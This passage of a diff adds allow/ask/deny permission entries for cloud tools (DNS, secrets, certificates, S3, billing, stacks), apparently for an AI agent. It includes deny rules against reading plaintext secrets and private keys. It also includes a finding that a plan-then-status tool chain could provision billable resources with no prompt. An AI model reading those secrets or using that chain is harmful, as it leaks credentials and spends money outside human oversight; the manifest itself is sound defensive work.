494
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
495
|
+
},
|
|
496
|
+
"dns_zones": {
|
|
497
|
+
"effect": "read-only",
|
|
498
|
+
"permission": "allow",
|
|
499
|
+
"why": "behaviour-audited read-only: handleDnsZones (tools_dns.go:33) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
500
|
+
},
|
|
501
|
+
"dns_zone_get": {
|
|
502
|
+
"effect": "read-only",
|
|
503
|
+
"permission": "allow",
|
|
504
|
+
"why": "behaviour-audited read-only: handleDnsZoneGet (tools_dns.go:55) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
505
|
+
},
|
|
506
|
+
"dns_zone_create": {
|
|
507
|
+
"effect": "mutating",
|
|
508
|
+
"permission": "ask",
|
|
509
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
510
|
+
},
|
|
511
|
+
"dns_zone_delete": {
|
|
512
|
+
"effect": "mutating",
|
|
513
|
+
"permission": "ask",
|
|
514
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
515
|
+
},
|
|
516
|
+
"dns_operation": {
|
|
517
|
+
"effect": "read-only",
|
|
518
|
+
"permission": "allow",
|
|
519
|
+
"why": "behaviour-audited read-only: handleDnsOperation (tools_dns.go:133) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
520
|
+
},
|
|
521
|
+
"dns_records": {
|
|
522
|
+
"effect": "read-only",
|
|
523
|
+
"permission": "allow",
|
|
524
|
+
"why": "behaviour-audited read-only: handleDnsRecords (tools_dns.go:180) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
525
|
+
},
|
|
526
|
+
"dns_record_get": {
|
|
527
|
+
"effect": "read-only",
|
|
528
|
+
"permission": "allow",
|
|
529
|
+
"why": "behaviour-audited read-only: handleDnsRecordGet (tools_dns.go:200) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
530
|
+
},
|
|
531
|
+
"dns_record_create": {
|
|
532
|
+
"effect": "mutating",
|
|
533
|
+
"permission": "ask",
|
|
534
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
535
|
+
},
|
|
536
|
+
"dns_record_delete": {
|
|
537
|
+
"effect": "mutating",
|
|
538
|
+
"permission": "ask",
|
|
539
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
540
|
+
},
|
|
541
|
+
"secret_list": {
|
|
542
|
+
"effect": "read-only",
|
|
543
|
+
"permission": "allow",
|
|
544
|
+
"why": "behaviour-audited read-only: handleSecretList (tools_secret.go:24) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
545
|
+
},
|
|
546
|
+
"secret_get": {
|
|
547
|
+
"effect": "read-only",
|
|
548
|
+
"permission": "allow",
|
|
549
|
+
"why": "behaviour-audited read-only: handleSecretGet (tools_secret.go:40) returns secret METADATA only — client Get is GET /v2/secret/{path}, explicitly 'no value' (secret/client.go:123); the value path is secret_value (deny)."
|
|
550
|
+
},
|
|
551
|
+
"secret_value": {
|
|
552
|
+
"effect": "sensitive-read",
|
|
553
|
+
"permission": "deny",
|
|
554
|
+
"why": "plaintext secret into transcript/session logs (ADR-004 §1)"
|
|
555
|
+
},
|
|
556
|
+
"secret_create": {
|
|
557
|
+
"effect": "mutating",
|
|
558
|
+
"permission": "ask",
|
|
559
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
560
|
+
},
|
|
561
|
+
"secret_add_version": {
|
|
562
|
+
"effect": "mutating",
|
|
563
|
+
"permission": "ask",
|
|
564
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
565
|
+
},
|
|
566
|
+
"secret_delete": {
|
|
567
|
+
"effect": "mutating",
|
|
568
|
+
"permission": "ask",
|
|
569
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
570
|
+
},
|
|
571
|
+
"ar_list": {
|
|
572
|
+
"effect": "read-only",
|
|
573
|
+
"permission": "allow",
|
|
574
|
+
"why": "behaviour-audited read-only: handleArList (tools_ar.go:24) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
575
|
+
},
|
|
576
|
+
"ar_get": {
|
|
577
|
+
"effect": "read-only",
|
|
578
|
+
"permission": "allow",
|
|
579
|
+
"why": "behaviour-audited read-only: handleArGet (tools_ar.go:43) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
580
|
+
},
|
|
581
|
+
"ar_create": {
|
|
582
|
+
"effect": "mutating",
|
|
583
|
+
"permission": "ask",
|
|
584
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
585
|
+
},
|
|
586
|
+
"ar_delete": {
|
|
587
|
+
"effect": "mutating",
|
|
588
|
+
"permission": "ask",
|
|
589
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
590
|
+
},
|
|
591
|
+
"ar_operation": {
|
|
592
|
+
"effect": "read-only",
|
|
593
|
+
"permission": "allow",
|
|
594
|
+
"why": "behaviour-audited read-only: handleArOperation (tools_ar.go:117) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
595
|
+
},
|
|
596
|
+
"billing_balance": {
|
|
597
|
+
"effect": "read-only",
|
|
598
|
+
"permission": "allow",
|
|
599
|
+
"why": "behaviour-audited read-only: handleBillingBalance (tools_billing.go:37) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
600
|
+
},
|
|
601
|
+
"billing_consumption": {
|
|
602
|
+
"effect": "read-only",
|
|
603
|
+
"permission": "allow",
|
|
604
|
+
"why": "behaviour-audited read-only: handleBillingConsumption (tools_billing.go:79) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
605
|
+
},
|
|
606
|
+
"billing_finops": {
|
|
607
|
+
"effect": "read-only",
|
|
608
|
+
"permission": "allow",
|
|
609
|
+
"why": "behaviour-audited read-only: handleBillingFinops (tools_billing.go:181) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
610
|
+
},
|
|
611
|
+
"metrics_history": {
|
|
612
|
+
"effect": "read-only",
|
|
613
|
+
"permission": "allow",
|
|
614
|
+
"why": "behaviour-audited read-only: handleMetricsHistory (tools_monitoring.go:41) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
615
|
+
},
|
|
616
|
+
"metrics_scrape": {
|
|
617
|
+
"effect": "read-only",
|
|
618
|
+
"permission": "allow",
|
|
619
|
+
"why": "behaviour-audited read-only: handleMetricsScrape (tools_monitoring.go:69) — ScrapeMetrics is a GET of the scrape endpoint (monitoring/client.go:160); no state write, no downstream tool call."
|
|
620
|
+
},
|
|
621
|
+
"audit_events": {
|
|
622
|
+
"effect": "read-only",
|
|
623
|
+
"permission": "allow",
|
|
624
|
+
"why": "behaviour-audited read-only: handleAuditEvents (tools_audit.go:23) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
625
|
+
},
|
|
626
|
+
"cert_list": {
|
|
627
|
+
"effect": "read-only",
|
|
628
|
+
"permission": "allow",
|
|
629
|
+
"why": "behaviour-audited read-only: handleCertList (tools_certmanager.go:23) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
630
|
+
},
|
|
631
|
+
"cert_get": {
|
|
632
|
+
"effect": "read-only",
|
|
633
|
+
"permission": "allow",
|
|
634
|
+
"why": "behaviour-audited read-only: handleCertGet (tools_certmanager.go:41) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
635
|
+
},
|
|
636
|
+
"cert_issue_le": {
|
|
637
|
+
"effect": "mutating",
|
|
638
|
+
"permission": "ask",
|
|
639
|
+
"why": "mutating WITHOUT engine gate — MEASURED 05 §2.2 / ADR-004 Context"
|
|
640
|
+
},
|
|
641
|
+
"cert_import": {
|
|
642
|
+
"effect": "mutating",
|
|
643
|
+
"permission": "ask",
|
|
644
|
+
"why": "mutating WITHOUT engine gate — MEASURED 05 §2.2 / ADR-004 Context"
|
|
645
|
+
},
|
|
646
|
+
"cert_renew": {
|
|
647
|
+
"effect": "mutating",
|
|
648
|
+
"permission": "ask",
|
|
649
|
+
"why": "mutating WITHOUT engine gate — MEASURED 05 §2.2 / ADR-004 Context"
|
|
650
|
+
},
|
|
651
|
+
"cert_delete": {
|
|
652
|
+
"effect": "mutating",
|
|
653
|
+
"permission": "ask",
|
|
654
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
655
|
+
},
|
|
656
|
+
"cert_usage": {
|
|
657
|
+
"effect": "read-only",
|
|
658
|
+
"permission": "allow",
|
|
659
|
+
"why": "behaviour-audited read-only: handleCertUsage (tools_certmanager.go:138) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
660
|
+
},
|
|
661
|
+
"cert_versions": {
|
|
662
|
+
"effect": "read-only",
|
|
663
|
+
"permission": "allow",
|
|
664
|
+
"why": "behaviour-audited read-only: handleCertVersions (tools_certmanager.go:154) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
665
|
+
},
|
|
666
|
+
"cert_private_key": {
|
|
667
|
+
"effect": "sensitive-read",
|
|
668
|
+
"permission": "deny",
|
|
669
|
+
"why": "plaintext secret into transcript/session logs (ADR-004 §1)"
|
|
670
|
+
},
|
|
671
|
+
"cert_operation": {
|
|
672
|
+
"effect": "read-only",
|
|
673
|
+
"permission": "allow",
|
|
674
|
+
"why": "behaviour-audited read-only: handleCertOperation (tools_certmanager.go:193) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
675
|
+
},
|
|
676
|
+
"s3_buckets": {
|
|
677
|
+
"effect": "read-only",
|
|
678
|
+
"permission": "allow",
|
|
679
|
+
"why": "behaviour-audited read-only: handleS3Buckets (tools_s3.go:24) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
680
|
+
},
|
|
681
|
+
"s3_ls": {
|
|
682
|
+
"effect": "read-only",
|
|
683
|
+
"permission": "allow",
|
|
684
|
+
"why": "behaviour-audited read-only: handleS3Ls (tools_s3.go:36) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
685
|
+
},
|
|
686
|
+
"s3_get": {
|
|
687
|
+
"effect": "read-only",
|
|
688
|
+
"permission": "allow",
|
|
689
|
+
"why": "behaviour-audited read-only: handleS3Get (tools_s3.go:52) — GetObject read of user object bytes; no state write, no downstream tool call."
|
|
690
|
+
},
|
|
691
|
+
"s3_put": {
|
|
692
|
+
"effect": "mutating",
|
|
693
|
+
"permission": "ask",
|
|
694
|
+
"why": "mutating WITHOUT engine gate — MEASURED 05 §2.2 / ADR-004 Context"
|
|
695
|
+
},
|
|
696
|
+
"s3_rm": {
|
|
697
|
+
"effect": "mutating",
|
|
698
|
+
"permission": "ask",
|
|
699
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
700
|
+
},
|
|
701
|
+
"s3_bucket_create": {
|
|
702
|
+
"effect": "mutating",
|
|
703
|
+
"permission": "ask",
|
|
704
|
+
"why": "mutating WITHOUT engine gate — MEASURED 05 §2.2 / ADR-004 Context"
|
|
705
|
+
},
|
|
706
|
+
"s3_bucket_delete": {
|
|
707
|
+
"effect": "mutating",
|
|
708
|
+
"permission": "ask",
|
|
709
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
710
|
+
},
|
|
711
|
+
"stack_plan": {
|
|
712
|
+
"effect": "read-only",
|
|
713
|
+
"permission": "allow",
|
|
714
|
+
"why": "behaviour-audited: creates NO cloud resource — handleStackPlan (tools_stack.go:297) plans and persists a LOCAL job file only (job.Save :318); its cloud calls are read-only (ListFlavors tools_stack.go:363, ListBuckets :396). Upstream smell: the saved planned job is later ADVANCED by stack_status — which is why stack_status is ask (see its entry)."
|
|
715
|
+
},
|
|
716
|
+
"stack_apply": {
|
|
717
|
+
"effect": "mutating",
|
|
718
|
+
"permission": "ask",
|
|
719
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
720
|
+
},
|
|
721
|
+
"stack_status": {
|
|
722
|
+
"effect": "mutating",
|
|
723
|
+
"permission": "ask",
|
|
724
|
+
"why": "RECLASSIFIED allow→ask 2026-08-10 (cross-model QE HIGH, false-safe): handleStackStatus (tools_stack.go:451) calls s.advance() on planned/running jobs (:479-484); advance starts pending steps via s.callTool (:220) — i.e. it INVOKES the paid create tools (provision, pg_create, k8s_create, lb_create, …) with no confirmation. LIVE-REPRODUCED against baseline 59f83fc0: one stack_status call moved a planned job planned→running and attempted provision (stopped only at AUTH_REQUIRED). The fully-allow chain stack_plan→stack_status would provision a billable stack with ZERO prompts. Upstream design smell (engine, licence-blocked — not fixed here): a status poll on a NEVER-APPLIED job should not start spending."
|
|
725
|
+
},
|
|
726
|
+
"stack_destroy": {
|
|
727
|
+
"effect": "mutating",
|
|
728
|
+
"permission": "ask",
|
|
729
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
730
|
+
}
|
|
731
|
+
}
|
|
732
|
+
}
|